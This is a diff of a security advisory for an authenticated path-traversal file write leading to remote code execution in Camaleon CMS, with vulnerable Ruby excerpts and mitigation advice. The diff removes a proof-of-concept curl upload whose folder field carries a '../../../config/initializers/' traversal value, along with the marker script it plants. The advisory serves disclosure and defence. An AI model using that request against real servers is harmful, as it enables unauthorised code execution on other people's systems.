@@ -7,16 +7,17 @@ title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
7
7
date : 2024-09-18
8
8
description : |
9
9
An arbitrary file write vulnerability accessible via the upload method
10
- of the MediaController allows authenticated users to write arbitrary
10
+ of the ` MediaController` allows authenticated users to write arbitrary
11
11
files to any location on the web server Camaleon CMS is running on
12
12
(depending on the permissions of the underlying filesystem).
13
13
E.g. This can lead to a delayed remote code execution in case an
14
- attacker is able to write a Ruby file into the config/initializers/
14
+ attacker is able to write a Ruby file into the ` config/initializers/`
15
15
subfolder of the Ruby on Rails application.
16
16
17
- Once a user upload is started via the
18
- [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87)
19
- method, the file_upload and the folder parameter
17
+ Once a user upload is started via the [upload] method, the
18
+ `file_upload` and the folder parameter.
19
+
20
+ [upload]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87
20
21
21
22
```ruby
22
23
def upload(settings = {})
@@ -31,13 +32,14 @@ description: |
31
32
end
32
33
```
33
34
34
- are passed to the
35
- [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24)
36
- method. Inside that method the given settings are
37
- [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42)
38
- with some presets. The file format is
39
- [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62)
40
- the formats settings we can override with the formats parameters.
35
+ are passed to the [upload_file] method. Inside that method the
36
+ given settings are [merged] with some presets. The file format
37
+ is [checked against] the formats settings we can override with
38
+ the formats parameters.
39
+
40
+ [upload_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24
41
+ [merged]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42
42
+ [checked against]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62
41
43
42
44
```ruby
43
45
# formats validations
@@ -46,19 +48,20 @@ description: |
46
48
)
47
49
```
48
50
49
- Our given folder is then
50
- [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74)
51
- to the Cama_uploader:
51
+ Our given folder is then [passed unchecked] to the `Cama_uploader`:
52
+
53
+ [passed unchecked]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74
52
54
53
55
```ruby
54
56
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
55
57
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
56
58
```
57
59
58
- In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77)
59
- method of CamaleonCmsLocalUploader this key argument containing the
60
+ In the [add_file] method of `CamaleonCmsLocalUploader` this key argument containing the
60
61
unchecked path is then used to write the file to the file system:
61
62
63
+ [add_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77
64
+
62
65
```ruby
63
66
def add_file(uploaded_io_or_file_path, key, args = {})
64
67
[..]
@@ -68,36 +71,6 @@ description: |
68
71
end
69
72
```
70
73
71
- ## Proof of concept
72
-
73
- Precondition: A valid account of a registered user is required. (The
74
- values for auth_token and _cms_session need to be replaced with
75
- authenticated values in the curl command below)
76
-
77
- curl --path-as-is -i -s -k -X $'POST' \
78
- -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
79
- -b $'auth_token=[..]; _cms_session=[..]' \
80
- --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
81
- $'https://<camaleon-host>/admin/media/upload?actions=false'
82
-
83
- Note that the upload form field formats was removed so that Camaleon
84
- CMS accepts any file. The folder was set to
85
- ../../../config/initializers/so that following Ruby script is written
86
- into the initializers folder of the Rails web app:
87
-
88
- puts "================================="
89
- puts "================================="
90
- puts "= COMPROMISED ="
91
- puts "================================="
92
- puts "================================="
93
- Once Camaleon CMS is restarted following output will be visible in the log:
94
-
95
- =================================
96
- =================================
97
- = COMPROMISED =
98
- =================================
99
- =================================
100
-
101
74
## Impact
102
75
103
76
This issue may lead up to Remote Code Execution (RCE) via arbitrary
@@ -107,10 +80,10 @@ description: |
107
80
108
81
Normalize file paths constructed from untrusted user input before using
109
82
them and check that the resulting path is inside the targeted directory.
110
- Additionally, do not allow character sequences such as .. in untrusted
83
+ Additionally, do not allow character sequences such as `..` in untrusted
111
84
input that is used to build paths.
112
85
113
- ## See also:
86
+ ## See Also
114
87
115
88
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
116
89
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
0 commit comments